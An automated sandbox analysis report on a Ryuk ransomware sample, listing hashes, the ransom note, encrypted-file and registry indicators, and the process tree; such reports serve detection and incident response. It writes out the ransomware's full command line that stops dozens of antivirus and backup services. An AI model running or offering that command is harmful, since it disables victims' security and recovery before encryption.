ryuk | 3a7b94a46f82a62500f5bad83c351252262e86a6577b5423eb2ebce12f2f54e8

Analysis

max time kernel
304s
max time network
304s
platform
windows10_x64
resource
win10v20210408
submitted
20-08-2021 07:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Tes (2).exe
Size

154KB
MD5

c77b4fb1f7ecbc8fb310b79bd5feb68c
SHA1

47eaa1fd7524a0a34b5112c7b270f0747f9d0a51
SHA256

3a7b94a46f82a62500f5bad83c351252262e86a6577b5423eb2ebce12f2f54e8
SHA512

d5e08fd632fe081c8cc085c91f234add57a778b9b4f37d402399cd46d5cfefe65b8c6ff89c47348e1b3ae844b0d772a3be0a27e0a4367712123ee03a9f36d724

Score

10^/10

ryuk ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\EncReadMe.html

Family

ryuk

Ransom Note

contact balance of shadow universe Ryuk function info(){alert("INSTRUCTION:\r\nEmail: [email protected] \r\nWe will contact you shortly.");};

Emails

[email protected]

Signatures

Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
ransomware ryuk

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

Tes (2).exe

description	ioc	process
File created	C:\Users\Admin\Pictures\WatchStep.tif.enc	Tes (2).exe
File created	C:\Users\Admin\Pictures\EnableMeasure.raw.enc	Tes (2).exe
File created	C:\Users\Admin\Pictures\ExportPop.crw.enc	Tes (2).exe
File created	C:\Users\Admin\Pictures\FormatDeny.png.enc	Tes (2).exe
File created	C:\Users\Admin\Pictures\GetWatch.tiff.enc	Tes (2).exe
File created	C:\Users\Admin\Pictures\ProtectMount.crw.enc	Tes (2).exe
File created	C:\Users\Admin\Pictures\PublishDisconnect.tiff.enc	Tes (2).exe
File created	C:\Users\Admin\Pictures\RegisterDismount.crw.enc	Tes (2).exe

Drops file in Windows directory 1 IoCs

Processes:

MicrosoftEdge.exe

description ioc process

File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1760 taskkill.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

pid	process
1760	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

browser_broker.exeMicrosoftEdgeCP.exeMicrosoftEdge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 4	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000ce43a36f588ba9daa0a0381b9b9c559bf6f48fc1ec075dd7fd7af147cb1df1bd5641ab2bc3b281be8eca5f50745b62b99d98baeb9996e4a67757	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 400daa28a395d701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\CTLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Telligent	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$blogger	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-08760 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 8cc2c628a395d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\FileVersion = "2016061511"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 1d24df8b702cd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Discuz!	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CTLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\Certificates	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2256 PING.EXE
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

MicrosoftEdgeCP.exe

pid process

1124 MicrosoftEdgeCP.exe
1124 MicrosoftEdgeCP.exe

pid	process
2256	PING.EXE

pid	process
1124	MicrosoftEdgeCP.exe
1124	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

Processes:

Tes (2).exetaskkill.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	pid	process
Token: SeDebugPrivilege	764	Tes (2).exe
Token: SeDebugPrivilege	764	Tes (2).exe
Token: SeDebugPrivilege	1760	taskkill.exe
Token: SeDebugPrivilege	2608	MicrosoftEdge.exe
Token: SeDebugPrivilege	2608	MicrosoftEdge.exe
Token: SeDebugPrivilege	2608	MicrosoftEdge.exe
Token: SeDebugPrivilege	2608	MicrosoftEdge.exe
Token: SeDebugPrivilege	1328	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1328	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1328	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1328	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2264	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2264	MicrosoftEdgeCP.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

2608 MicrosoftEdge.exe
1124 MicrosoftEdgeCP.exe
1124 MicrosoftEdgeCP.exe

pid	process
2608	MicrosoftEdge.exe
1124	MicrosoftEdgeCP.exe
1124	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Tes (2).execmd.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 764 wrote to memory of 204	764	Tes (2).exe	cmd.exe
PID 764 wrote to memory of 204	764	Tes (2).exe	cmd.exe
PID 764 wrote to memory of 204	764	Tes (2).exe	cmd.exe
PID 204 wrote to memory of 2180	204	cmd.exe	net.exe
PID 204 wrote to memory of 2180	204	cmd.exe	net.exe
PID 204 wrote to memory of 2180	204	cmd.exe	net.exe
PID 2180 wrote to memory of 2188	2180	net.exe	net1.exe
PID 2180 wrote to memory of 2188	2180	net.exe	net1.exe
PID 2180 wrote to memory of 2188	2180	net.exe	net1.exe
PID 204 wrote to memory of 3468	204	cmd.exe	net.exe
PID 204 wrote to memory of 3468	204	cmd.exe	net.exe
PID 204 wrote to memory of 3468	204	cmd.exe	net.exe
PID 3468 wrote to memory of 1328	3468	net.exe	net1.exe
PID 3468 wrote to memory of 1328	3468	net.exe	net1.exe
PID 3468 wrote to memory of 1328	3468	net.exe	net1.exe
PID 204 wrote to memory of 3140	204	cmd.exe	net.exe
PID 204 wrote to memory of 3140	204	cmd.exe	net.exe
PID 204 wrote to memory of 3140	204	cmd.exe	net.exe
PID 3140 wrote to memory of 1144	3140	net.exe	net1.exe
PID 3140 wrote to memory of 1144	3140	net.exe	net1.exe
PID 3140 wrote to memory of 1144	3140	net.exe	net1.exe
PID 204 wrote to memory of 2204	204	cmd.exe	net.exe
PID 204 wrote to memory of 2204	204	cmd.exe	net.exe
PID 204 wrote to memory of 2204	204	cmd.exe	net.exe
PID 2204 wrote to memory of 1140	2204	net.exe	net1.exe
PID 2204 wrote to memory of 1140	2204	net.exe	net1.exe
PID 2204 wrote to memory of 1140	2204	net.exe	net1.exe
PID 204 wrote to memory of 804	204	cmd.exe	net.exe
PID 204 wrote to memory of 804	204	cmd.exe	net.exe
PID 204 wrote to memory of 804	204	cmd.exe	net.exe
PID 804 wrote to memory of 1768	804	net.exe	net1.exe
PID 804 wrote to memory of 1768	804	net.exe	net1.exe
PID 804 wrote to memory of 1768	804	net.exe	net1.exe
PID 204 wrote to memory of 2828	204	cmd.exe	net.exe
PID 204 wrote to memory of 2828	204	cmd.exe	net.exe
PID 204 wrote to memory of 2828	204	cmd.exe	net.exe
PID 2828 wrote to memory of 3844	2828	net.exe	net1.exe
PID 2828 wrote to memory of 3844	2828	net.exe	net1.exe
PID 2828 wrote to memory of 3844	2828	net.exe	net1.exe
PID 204 wrote to memory of 3872	204	cmd.exe	net.exe
PID 204 wrote to memory of 3872	204	cmd.exe	net.exe
PID 204 wrote to memory of 3872	204	cmd.exe	net.exe
PID 3872 wrote to memory of 3952	3872	net.exe	net1.exe
PID 3872 wrote to memory of 3952	3872	net.exe	net1.exe
PID 3872 wrote to memory of 3952	3872	net.exe	net1.exe
PID 204 wrote to memory of 3236	204	cmd.exe	net.exe
PID 204 wrote to memory of 3236	204	cmd.exe	net.exe
PID 204 wrote to memory of 3236	204	cmd.exe	net.exe
PID 3236 wrote to memory of 776	3236	net.exe	net1.exe
PID 3236 wrote to memory of 776	3236	net.exe	net1.exe
PID 3236 wrote to memory of 776	3236	net.exe	net1.exe
PID 204 wrote to memory of 2212	204	cmd.exe	net.exe
PID 204 wrote to memory of 2212	204	cmd.exe	net.exe
PID 204 wrote to memory of 2212	204	cmd.exe	net.exe
PID 2212 wrote to memory of 2140	2212	net.exe	net1.exe
PID 2212 wrote to memory of 2140	2212	net.exe	net1.exe
PID 2212 wrote to memory of 2140	2212	net.exe	net1.exe
PID 204 wrote to memory of 4064	204	cmd.exe	net.exe
PID 204 wrote to memory of 4064	204	cmd.exe	net.exe
PID 204 wrote to memory of 4064	204	cmd.exe	net.exe
PID 4064 wrote to memory of 4068	4064	net.exe	net1.exe
PID 4064 wrote to memory of 4068	4064	net.exe	net1.exe
PID 4064 wrote to memory of 4068	4064	net.exe	net1.exe
PID 204 wrote to memory of 3976	204	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\Tes (2).exe
"C:\Users\Admin\AppData\Local\Temp\Tes (2).exe"
1⤵
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:764

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net stop Acronis VSS Provider /y & net stop Enterprise Client Service /y & net stop Sophos Agent /y & net stop Sophos AutoUpdate Service /y & net stop Sophos Clean Service /y & net stop Sophos Device Control Service /y & net stop Sophos File Scanner Service /y & net stop Sophos Health Service /y & net stop Sophos MCS Agent /y & net stop Sophos MCS Client /y & net stop Sophos Message Router /y & net stop Sophos SafeStore Service /y & net stop Sophos Protection System Service /y & net stop Sophos Web Control Service /y & net stop SQLsafe ?????????? ??????????? ?????? /y & net stop SQLsafe Filter Service /y & net stop Symantec System Recovery /y & net stop Veeam Backup Service Data Catalog /y & net stop AcronisAgent /y & net stop AcrSch2Svc /y & net stop Antivirus /y & net stop ARSM /y & net stop BackupExecAgentAccelerator /y & net stop BackupExecAgentBrowser /y & net stop BackupExecDeviceMediaService /y & net stop BackupExecJobEngine /y & net stop BackupExecManagementService /y & net stop BackupExecRPCService /y & net stop BackupExecVSSProvider /y & net stop bedbg /y & net stop DCAgent /y & net stop EPSecurityService /y & net stop EPUpdateService /y & net stop EraserSvc11710 /y & net stop EsgShKernel /y & net stop FA_Scheduler /y & net stop IISAdmin /y & net stop IMAP4Svc /y & net stop macmnsvc /y & net stop masvc /y & net stop MBAMService /y & net stop MBEndpointAgent /y & net stop McAfeeEngineService /y & net stop McAfeeFramework /y & net stop McAfeeFrameworkMcAfeeFramework /y & net stop McShield /y & net stop McTaskManager /y & net stop mfemms /y 